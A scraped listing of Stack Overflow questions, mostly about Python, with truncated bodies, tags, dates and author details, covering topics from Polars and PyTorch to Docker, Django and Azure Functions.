<p>Having an s3 object storage, I want to know which directories in a base directory have changed since a give datetime.</p> <p>It would work similar to <code>get_changed_directories</code>:</p> <pre class="lang-py prettyprint-override"><code>bucket_directory = &quot;your_bucket_name/base_directory&quot; since_datetime...
<python><boto3><object-storage><python-s3fs><aiobotocore>
2025-01-16 15:22:24
1
4,147
Joost Döbken
79,362,134
13,266,736
Docker Custom image neo4j, password login not working
<p>I have a custom docker image which looks like this:</p> <pre class="lang-none prettyprint-override"><code>FROM neo4j:latest # Copy the script into the container COPY start-neo4j.sh /start-neo4j.sh # Make the script executable RUN chmod +x /start-neo4j.sh # Run the script as the container's main command CMD [&quot...
<python><docker><neo4j>
2025-01-16 15:15:38
2
1,015
SebNik
79,361,940
24,696,572
Forward pass with all samples
<pre><code>import torch import torch.nn as nn class PINN(nn.Module): def __init__(self, input_dim, output_dim, hidden_layers, neurons_per_layer): super(PINN, self).__init__() layers = [] layers.append(nn.Linear(input_dim, neurons_per_layer)) for _ in range(hidden_layers): ...
<python><machine-learning><pytorch>
2025-01-16 14:23:21
1
332
Mathieu
79,361,844
9,591,312
Issue with Conda Package Installation - Intel Channel Persistence
<h2>Environment</h2> <ul> <li>Using Miniconda for Python package management</li> </ul> <h2>Current Situation</h2> <ol> <li>All configured channels are visible in <code>conda info</code> output and Intel is removed: <a href="https://i.sstatic.net/3b89XzlD.jpg" rel="nofollow noreferrer"><img src="https://i.sstatic.net/3b...
<python><anaconda><intel><miniconda><mamba>
2025-01-16 13:52:29
0
647
BayesianMonk
79,361,674
11,751,799
Subplot four-pack under another subplot the size of the four-pack
<p>I want to make a <code>matplotlib</code> figure that has two components:</p> <ol> <li><p>A 2x2 &quot;four pack&quot; of subplots in the lower half of the figure</p> </li> <li><p>A subplot above the four pack that is the size of the four pack.</p> </li> </ol> <p>I have seen <a href="https://stackoverflow.com/a/358813...
<python><matplotlib><plot><graph>
2025-01-16 13:01:03
2
500
Dave
79,361,450
10,889,650
django_apscheduler calls my job many times
<p>I have a scheduler python package with this main file:</p> <pre><code>from apscheduler.schedulers.background import BackgroundScheduler from django_apscheduler.jobstores import DjangoJobStore, register_events from django.utils import timezone from django_apscheduler.models import DjangoJobExecution import sys # Thi...
<python><django><django-apscheduler>
2025-01-16 11:48:22
1
1,176
Omroth
79,361,321
19,959,092
How to improve faiss results?
<p>I am currently writing a program in which I need to retrieve information from a rag. this information should then be used by an llm. I am using FAISS in a python environment with the Langchain wrapper.</p> <p>The data source is a document with regularities, which I split into individual texts based on the paragraphs...
<python><langchain><faiss>
2025-01-16 11:00:29
0
428
Pantastix
79,361,227
3,491,759
I am getting "An error occurred (resourceNotFoundException) when calling the InvokeAgent operation: Knowledge Base with id 7M7ACWA9BQ does not exist"
<p>I am trying to invoke an agent I built in an agent builder. The agent works fine in the aws console and was trying to make a call to it using a Python code as is below</p> <pre><code>def invoke_agent(prompt: str): &quot;&quot;&quot; Sends a prompt for the agent to process and respond to. :param agent_id...
<python><amazon-web-services><artificial-intelligence><boto3><amazon-bedrock>
2025-01-16 10:39:55
1
441
olyjosh
79,361,220
3,070,181
Why does pyinstaller generated exe fail with module not found giving a strange module name?
<p>I am running pyinstaller 6.8.0 on Windows 10</p> <p>my application runs correctly when called from the terminal (python .../main.py)</p> <p>I can build it using pyinstaller with no error messages</p> <p>When I run the exe it fails with the error</p> <blockquote> <p>File &quot;psiconfig\toml_config.py&quot;, line 2, ...
<python><pyinstaller>
2025-01-16 10:37:09
3
3,841
Psionman
79,360,975
12,466,687
How to color nodes in network graph based on categories in networkx python?
<p>I am trying to create a <strong>network graph</strong> on <strong>correlation data</strong> and would like to <strong>color the nodes based on categories</strong>.</p> <p><strong>Data sample view:</strong> <a href="https://i.sstatic.net/KnVonnbG.png" rel="nofollow noreferrer"><img src="https://i.sstatic.net/KnVonnbG...
<python><networkx>
2025-01-16 09:24:11
1
2,357
ViSa
79,360,971
2,287,458
Rename all columns to lowercase in Polars dataframe
<p>Given a <code>polars</code> dataframe I want to rename all columns to their lowercase version. As per <a href="https://docs.pola.rs/api/python/stable/reference/expressions/api/polars.Expr.name.to_lowercase.html" rel="nofollow noreferrer">polars.Expr.name.to_lowercase</a> we can do</p> <pre class="lang-py prettyprint...
<python><dataframe><python-polars>
2025-01-16 09:22:20
3
3,591
Phil-ZXX
79,360,623
1,553,662
gradio UI Button and Image, image not shown after processing
<p>I'm building a video analysis tool using Gradio as UI. in the UI there is a dropdown and a textbox to select a local video, and some parameters to put in the text.</p> <p>After clicking the load button, the process start but at the end the image output is not shown in the UI.</p> <p><strong>Relevant notes</strong></...
<python><gradio>
2025-01-16 06:57:35
0
1,581
Stormsson
79,360,591
10,209,763
SSL Certificate Verification Failed with Sendgrid send
<p>I am getting an SSL verification failed error when trying to send emails with the Sendgrid web api. I'm not even sure what cert it is trying to verify here. I have done all of the user and domain verification on my Sendgrid account and I am using very straightforward sending process.</p> <p>Here the error</p> <pre><...
<python><python-3.x><sendgrid>
2025-01-16 06:42:22
1
312
Mitchell Leefers
79,360,261
210,867
Why does `list()` call `__len__()`?
<p>The setup code:</p> <pre class="lang-py prettyprint-override"><code>class MyContainer: def __init__(self): self.stuff = [1, 2, 3] def __iter__(self): print(&quot;__iter__&quot;) return iter(self.stuff) def __len__(self): print(&quot;__len__&quot;) return len(self...
<python><list>
2025-01-16 03:01:17
1
8,548
odigity
79,360,171
5,755,266
Is there a better way to use zip with an arbitrary number of iters?
<p>With a set of data from an arbitrary set of lists (or dicts or other iter), I want to create a new list or tuple that has all the first entries, then all the 2nd, and so on, like an hstack.</p> <p>If I have a known set of data, I can zip them together like this:</p> <pre><code>data = {'2015': [2, 1, 4, 3, 2, 4], ...
<python>
2025-01-16 01:55:56
3
535
Zim
79,360,156
3,614,648
Why do different prompts affect how I can run Python code in VSCode?
<p>In VSCode, I can run Python code from a .py file by selecting the code in the editor then typing shift+enter. It runs without error and opens a Python terminal (prompt turns to <code>&gt;&gt;&gt;</code>). However, when my prompt turns to <code>&gt;&gt;&gt;</code>, the below approaches to running code produce both <c...
<python><visual-studio-code><terminal><prompt>
2025-01-16 01:47:32
1
4,312
socialscientist
79,360,047
3,841,699
Issue with Django CheckConstraint
<p>I'm trying to add some new fields to an existing model and also a constraint related to those new fields:</p> <pre class="lang-py prettyprint-override"><code>class User(models.Model): username = models.CharField(max_length=32) # New fields ################################## has_garden = models.BooleanFi...
<python><django>
2025-01-16 00:12:30
2
820
Adrian Guerrero
79,359,954
3,446,351
Jupyterlab occasionally hangs during simple execution with excessive CPU and memory consumption
<p>This is seems to be a Heisenbug so I can't give a reproducible example but I can describe my setup and symptoms.</p> <p><strong>The symptoms</strong> are simple, occasionally (once every few days, though they seem to cluster) I will execute a simple cell in Jupyterlab, for instance even 1+1 and the kernel will stay ...
<python><jupyter-lab>
2025-01-15 23:05:19
0
691
Ymareth
79,359,931
1,050,482
py2app: error: [Errno 17] File exists: when creating the app
<p>I'm trying to make a MacOS executable with py2app. I'm having the exact same issue in <a href="https://stackoverflow.com/questions/78859635/py2app-error-17-file-exists-when-running-py2app-for-the-first-time">py2app Error 17 - File exists when running py2app for the first time</a></p> <p>But the solution there won't ...
<python><macos><py2app>
2025-01-15 22:49:11
1
8,761
Paul Cezanne
79,359,870
479,583
Why doesn't my collab virtual machine have the capacity to query something in bigquery, but it can process that same query result?
<p>I'm aware that my question is somewhat vague, but I didn't know how to frame it in a different matter.</p> <p>I started using GCP in my latest detachment and there are a few things I'm having issues grasping.</p> <p>For once, I don't understand why I can process data using</p> <pre><code>query = f&quot;SELECT * FROM...
<python><google-bigquery><google-colaboratory>
2025-01-15 22:22:08
1
425
Roughmar
79,359,697
2,800,876
Why does Python tuple unpacking work on sets?
<p><a href="https://stackoverflow.com/a/3812600/2800876">Sets don't have a deterministic order in Python</a>. Why then can you do tuple unpacking on a set in Python?</p> <p>To demonstrate the problem, take the following in CPython 3.10.12:</p> <pre><code>a, b = {&quot;foo&quot;, &quot;bar&quot;} # sets `a = &quot;bar...
<python><iterable-unpacking>
2025-01-15 21:06:11
3
41,868
Zags
79,359,592
1,119,649
Python tabulate - when using icons result in misaligned table
<p>When I use icons in tabulate, the printed table comes out misaligned.</p> <p>Sample:</p> <pre class="lang-py prettyprint-override"><code>import tabulate print(tabulate.tabulate([{'head':'msg', 'head2': 'msg2'},{'head':'msg 😀', 'head2': 'msg2 😶'}], headers='keys', tablefmt=&quot;grid&quot;)) </code></pre> <p>Result...
<python><tabulate>
2025-01-15 20:15:43
1
386
Shoo Limberger
79,359,469
3,477,266
Debug Segmentation Fault on Python cryptography's OpenSSL bindings
<p>My application runs on a Docker container, and it has always run well in AWS VMs.</p> <p>While trying to deploy some VMs in GCP, I noticed Segmentation Fault errors were killing the container in some of them.</p> <p>It doesn't seem to exist an obvious pattern. The application runs well for days, and then just dies. ...
<python><c><linux><openssl><gdb>
2025-01-15 19:28:48
0
1,516
luislhl
79,359,452
15,994,504
Diamond Relationship class hierarchy override only one instance of the method inherited from Base Class
<p>With a Diamond Relationship class hierarchy, how can I override the B.x while having the C.x continue to inherit from A.x</p> <p>My goal is to not edit class A, B, or C since those are used by other classes (e.g. a class E) However as long as the edits to class A, B, C would not change the behavior for other imports...
<python><python-3.x><method-resolution-order>
2025-01-15 19:23:51
1
374
smurphy
79,359,444
12,712,848
Can't add libraries to function_app.py in azure Function
<p>I have, for example, this function</p> <p><a href="https://i.sstatic.net/pBaLBBvf.png" rel="nofollow noreferrer"><img src="https://i.sstatic.net/pBaLBBvf.png" alt="enter image description here" /></a></p> <p>I deployed it with VS Code using the following <code>F1</code> option in VS Code <a href="https://i.sstatic.n...
<python><azure><azure-functions>
2025-01-15 19:20:49
2
841
OK 400